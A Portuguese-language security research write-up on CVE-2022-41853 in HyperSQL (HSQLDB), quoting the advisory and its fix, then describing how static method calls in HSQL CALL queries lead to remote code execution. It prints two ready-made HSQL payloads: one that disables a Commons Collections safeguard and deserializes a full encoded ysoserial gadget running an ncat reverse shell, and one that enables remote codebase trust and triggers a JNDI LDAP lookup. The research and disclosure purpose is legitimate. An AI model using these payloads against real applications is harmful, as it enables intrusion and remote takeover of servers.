
Pesquisa sobre CVE-2022-41853: usando funções estáticas para obter RCE via desserialização Java e ataque de codebase remoto
Aqueles que usam java.sql.Statement ou java.sql.PreparedStatement no hsqldb (HyperSQL DataBase) para processar entrada não confiável podem ser vulneráveis a um ataque de execução remota de código. Por padrão, é permitido chamar qualquer método estático de qualquer classe Java no classpath, resultando em execução de código. O problema pode ser evitado atualizando para a versão 2.7.1 ou definindo a propriedade de sistema "hsqldb.method_class_names" para as classes que podem ser chamadas. Por exemplo, System.setProperty("hsqldb.method_class_names", "abc") ou o argumento Java -Dhsqldb.method_class_names="abc" podem ser usados. A partir da versão 2.7.1, todas as classes por padrão não são acessíveis, exceto aquelas em java.lang.Math, e precisam ser ativadas manualmente.
A divulgação inicial desta vulnerabilidade pode ser encontrada aqui.
Equipe OSS-Fuzz
https://github.com/google/oss-fuzz
Em 2021, eu estava lendo o post do blog "Remote Code Execution in F5 Big‑IP" por Mikhail Klyuchnikov sobre como um ataque de normalização de caminho + consultas HSQL "CALL" poderiam ser usadas para chamar métodos estáticos arbitrários do Java a fim de obter RCE.
Como, na época, eu estava reportando e pesquisando vulnerabilidades no Apache SOLR, lembrei que o exemplo JDBC Stream deles usa HSQL e comecei a configurar o ambiente de teste.

Nota: Infelizmente, esta vulnerabilidade não afeta servidores Apache Solr padrão, pois o JAR do HSQL precisa ser colocado especificamente na pasta “./server/solr-webapp/webapp/WEB-INF/lib/” para que o driver seja acessível pelo componente Stream JDBC.
Como o RCE no F5 usa a função "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" localizada no "tmui.jar" (um JAR específico para aplicações F5), e eu queria criar um payload independente de aplicação, comecei a investigar como encadear JARs comumente usados (por exemplo, Apache Commons Collections, Apache Log4J) para chamar funções estáticas e obter RCE.
Como os gadgets CommonsCollections* do ysoserial foram a primeira coisa que veio à mente, segui o caminho da desserialização Java com os seguintes resultados:
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') para ativar a desserialização insegura (Por que contornar quando você pode remover uma salvaguarda completamente :)) )public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) como um sink para nossa entrada alcançar a função ObjectInputStream(x).readObject()public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) ou public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) para transformar nossa String de payload ysoserial codificada em um array de bytes que será ingerido por deserialize(byte[] objectData)O payload HSQL completo tem a seguinte forma:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
Nota: Neste caso, o payload ysoserial é do tipo CommonsCollection6 e executará o comando ncat -e /bin/bash 127.1 4444 de shell reverso.
Nota 2: O HSQLDB.jar standalone não é vulnerável a este payload, pois não inclui o JAR Apache Commons Collections. Esta vulnerabilidade funciona (na maioria das vezes) quando o HSQL está incluído em uma aplicação web (ex.: SOLR, Liferay, etc.)
Mais detalhes e o processo de exploração podem ser encontrados neste PDF.
Pesquisando sobre este assunto em 2023, me deparei com esta apresentação incrível Exploring JNDI Attacks by iSafeBlue que usava java.lang.System.setProperty para definir com.sun.jndi.ldap.object.trustURLCodebase ou com.sun.jndi.rmi.object.trustURLCodebase como true e então realizar uma consulta LDAP/RMI para executar com sucesso um ataque de codebase remoto Java.
Exemplo de Payload HSQL:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
Resultado:

Nota: Por razões desconhecidas, esta vulnerabilidade funciona no HSQLDB.jar padrão, mas não funciona no ambiente HSQL + Apache SOLR ¯\_(ツ)_/¯.